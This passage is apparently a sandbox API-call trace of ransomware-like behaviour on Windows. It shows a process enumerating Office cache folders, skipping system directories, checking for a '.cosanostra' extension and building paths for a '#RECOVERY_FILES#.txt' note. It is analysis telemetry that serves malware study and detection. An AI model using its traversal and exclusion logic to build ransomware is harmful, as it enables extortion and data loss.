returned -1 [0076.335] lstrlenW (lpString="Windows") returned 7 [0076.335] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.335] lstrlenW (lpString="Program Files") returned 13 [0076.335] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.335] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.336] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.336] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.336] lstrcmpiW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.336] lstrlenW (lpString="System Volume Information") returned 25 [0076.336] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned 66 [0076.336] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.336] lstrcmpW (lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.336] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x24c310 [0076.409] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.409] lstrlenW (lpString="Windows") returned 7 [0076.409] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.409] lstrlenW (lpString="Program Files") returned 13 [0076.409] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.409] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.409] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.409] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.409] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.409] lstrlenW (lpString="System Volume Information") returned 25 [0076.410] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.410] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.410] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.410] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.410] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.410] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.410] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.410] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.410] lstrlenW (lpString="Windows") returned 7 [0076.410] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.410] lstrlenW (lpString="Program Files") returned 13 [0076.410] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.410] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.410] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.410] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.410] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.410] lstrlenW (lpString="System Volume Information") returned 25 [0076.410] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.410] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.410] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.410] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.410] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.410] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.410] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.410] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.411] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="Windows") returned -1 [0076.411] lstrlenW (lpString="Windows") returned 7 [0076.411] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="Program Files") returned -1 [0076.411] lstrlenW (lpString="Program Files") returned 13 [0076.411] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="Program Files (x86)") returned -1 [0076.411] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.411] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="$Recycle.bin") returned 1 [0076.411] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.411] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="System Volume Information") returned -1 [0076.411] lstrlenW (lpString="System Volume Information") returned 25 [0076.411] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 78 [0076.411] StrStrIW (lpFirst="OutlkLR.cab", lpSrch=".cosanostra") returned 0x0 [0076.411] lstrcmpW (lpString1="OutlkLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.411] lstrcmpW (lpString1="OutlkLR.cab", lpString2="_uninstalling_.png") returned 1 [0076.411] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 78 [0076.411] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.411] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="Windows") returned -1 [0076.411] lstrlenW (lpString="Windows") returned 7 [0076.411] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="Program Files") returned -1 [0076.411] lstrlenW (lpString="Program Files") returned 13 [0076.411] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="Program Files (x86)") returned -1 [0076.411] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.411] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="$Recycle.bin") returned 1 [0076.411] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.411] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="System Volume Information") returned -1 [0076.411] lstrlenW (lpString="System Volume Information") returned 25 [0076.411] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 81 [0076.412] StrStrIW (lpFirst="OutlookMUI.msi", lpSrch=".cosanostra") returned 0x0 [0076.412] lstrcmpW (lpString1="OutlookMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.412] lstrcmpW (lpString1="OutlookMUI.msi", lpString2="_uninstalling_.png") returned 1 [0076.412] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 81 [0076.412] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.412] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="Windows") returned -1 [0076.412] lstrlenW (lpString="Windows") returned 7 [0076.412] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="Program Files") returned -1 [0076.412] lstrlenW (lpString="Program Files") returned 13 [0076.412] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="Program Files (x86)") returned -1 [0076.412] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.412] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="$Recycle.bin") returned 1 [0076.412] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.412] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="System Volume Information") returned -1 [0076.412] lstrlenW (lpString="System Volume Information") returned 25 [0076.412] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 81 [0076.412] StrStrIW (lpFirst="OutlookMUI.xml", lpSrch=".cosanostra") returned 0x0 [0076.412] lstrcmpW (lpString1="OutlookMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.412] lstrcmpW (lpString1="OutlookMUI.xml", lpString2="_uninstalling_.png") returned 1 [0076.412] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 81 [0076.412] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.412] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0076.412] lstrlenW (lpString="Windows") returned 7 [0076.413] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0076.413] lstrlenW (lpString="Program Files") returned 13 [0076.413] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0076.413] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.413] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0076.413] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.413] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0076.413] lstrlenW (lpString="System Volume Information") returned 25 [0076.413] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.413] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0076.413] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.413] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0076.413] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.413] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0076.413] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0076.414] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.414] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.414] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.414] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0076.414] lstrlenW (lpString="Windows") returned 7 [0076.414] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.414] lstrlenW (lpString="Program Files") returned 13 [0076.414] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.415] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.415] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.415] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.415] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.415] lstrlenW (lpString="System Volume Information") returned 25 [0076.415] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 66 [0076.415] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.415] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.415] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x24c310 [0076.417] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.417] lstrlenW (lpString="Windows") returned 7 [0076.417] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.417] lstrlenW (lpString="Program Files") returned 13 [0076.417] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.417] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.417] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.417] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.417] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.417] lstrlenW (lpString="System Volume Information") returned 25 [0076.417] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.417] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.417] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.417] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.417] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.417] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.417] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.418] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.418] lstrlenW (lpString="Windows") returned 7 [0076.418] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.418] lstrlenW (lpString="Program Files") returned 13 [0076.418] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.418] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.418] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.418] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.418] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.418] lstrlenW (lpString="System Volume Information") returned 25 [0076.418] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.418] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.418] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.418] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.418] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.418] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.418] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.419] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.419] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0076.419] lstrlenW (lpString="Windows") returned 7 [0076.419] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0076.419] lstrlenW (lpString="Program Files") returned 13 [0076.419] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0076.419] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.419] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0076.419] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.419] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0076.419] lstrlenW (lpString="System Volume Information") returned 25 [0076.419] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.419] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0076.419] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.419] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0076.419] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.419] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.419] lstrcmpiW (lpString1="WordLR.cab", lpString2="Windows") returned 1 [0076.419] lstrlenW (lpString="Windows") returned 7 [0076.419] lstrcmpiW (lpString1="WordLR.cab", lpString2="Program Files") returned 1 [0076.419] lstrlenW (lpString="Program Files") returned 13 [0076.419] lstrcmpiW (lpString1="WordLR.cab", lpString2="Program Files (x86)") returned 1 [0076.419] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.419] lstrcmpiW (lpString1="WordLR.cab", lpString2="$Recycle.bin") returned 1 [0076.419] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.420] lstrcmpiW (lpString1="WordLR.cab", lpString2="System Volume Information") returned 1 [0076.420] lstrlenW (lpString="System Volume Information") returned 25 [0076.420] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 77 [0076.420] StrStrIW (lpFirst="WordLR.cab", lpSrch=".cosanostra") returned 0x0 [0076.420] lstrcmpW (lpString1="WordLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.420] lstrcmpW (lpString1="WordLR.cab", lpString2="_uninstalling_.png") returned 1 [0076.420] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 77 [0076.420] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.420] lstrcmpiW (lpString1="WordMUI.msi", lpString2="Windows") returned 1 [0076.420] lstrlenW (lpString="Windows") returned 7 [0076.420] lstrcmpiW (lpString1="WordMUI.msi", lpString2="Program Files") returned 1 [0076.420] lstrlenW (lpString="Program Files") returned 13 [0076.420] lstrcmpiW (lpString1="WordMUI.msi", lpString2="Program Files (x86)") returned 1 [0076.420] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.420] lstrcmpiW (lpString1="WordMUI.msi", lpString2="$Recycle.bin") returned 1 [0076.420] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.420] lstrcmpiW (lpString1="WordMUI.msi", lpString2="System Volume Information") returned 1 [0076.420] lstrlenW (lpString="System Volume Information") returned 25 [0076.420] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 78 [0076.420] StrStrIW (lpFirst="WordMUI.msi", lpSrch=".cosanostra") returned 0x0 [0076.420] lstrcmpW (lpString1="WordMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.420] lstrcmpW (lpString1="WordMUI.msi", lpString2="_uninstalling_.png") returned 1 [0076.420] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 78 [0076.420] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.420] lstrcmpiW (lpString1="WordMUI.xml", lpString2="Windows") returned 1 [0076.420] lstrlenW (lpString="Windows") returned 7 [0076.420] lstrcmpiW (lpString1="WordMUI.xml", lpString2="Program Files") returned 1 [0076.420] lstrlenW (lpString="Program Files") returned 13 [0076.420] lstrcmpiW (lpString1="WordMUI.xml", lpString2="Program Files (x86)") returned 1 [0076.420] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.420] lstrcmpiW (lpString1="WordMUI.xml", lpString2="$Recycle.bin") returned 1 [0076.420] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.420] lstrcmpiW (lpString1="WordMUI.xml", lpString2="System Volume Information") returned 1 [0076.421] lstrlenW (lpString="System Volume Information") returned 25 [0076.421] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 78 [0076.421] StrStrIW (lpFirst="WordMUI.xml", lpSrch=".cosanostra") returned 0x0 [0076.421] lstrcmpW (lpString1="WordMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.421] lstrcmpW (lpString1="WordMUI.xml", lpString2="_uninstalling_.png") returned 1 [0076.421] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 78 [0076.421] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0076.421] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0076.421] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.421] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.421] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.421] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0076.421] lstrlenW (lpString="Windows") returned 7 [0076.421] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.421] lstrlenW (lpString="Program Files") returned 13 [0076.421] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.421] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.421] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.421] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.421] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.421] lstrlenW (lpString="System Volume Information") returned 25 [0076.421] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned 66 [0076.421] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.421] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.421] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x24c310 [0076.685] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.685] lstrlenW (lpString="Windows") returned 7 [0076.685] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.685] lstrlenW (lpString="Program Files") returned 13 [0076.685] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.686] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.686] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.686] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.686] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.686] lstrlenW (lpString="System Volume Information") returned 25 [0076.686] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.686] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.686] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.686] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.686] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.686] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.686] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.686] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.686] lstrlenW (lpString="Windows") returned 7 [0076.686] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.686] lstrlenW (lpString="Program Files") returned 13 [0076.686] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.686] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.686] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.686] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.686] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.686] lstrlenW (lpString="System Volume Information") returned 25 [0076.686] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.686] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.686] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.686] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.686] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.686] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.686] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.686] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.687] lstrcmpiW (lpString1="Proof.en", lpString2="Windows") returned -1 [0076.687] lstrlenW (lpString="Windows") returned 7 [0076.687] lstrcmpiW (lpString1="Proof.en", lpString2="Program Files") returned 1 [0076.687] lstrlenW (lpString="Program Files") returned 13 [0076.687] lstrcmpiW (lpString1="Proof.en", lpString2="Program Files (x86)") returned 1 [0076.687] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.687] lstrcmpiW (lpString1="Proof.en", lpString2="$Recycle.bin") returned 1 [0076.687] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.687] lstrcmpiW (lpString1="Proof.en", lpString2="System Volume Information") returned -1 [0076.687] lstrlenW (lpString="System Volume Information") returned 25 [0076.687] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 75 [0076.687] lstrcmpW (lpString1="Proof.en", lpString2=".") returned 1 [0076.687] lstrcmpW (lpString1="Proof.en", lpString2="..") returned 1 [0076.687] wnsprintfW (in: pszDest=0x268038, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All 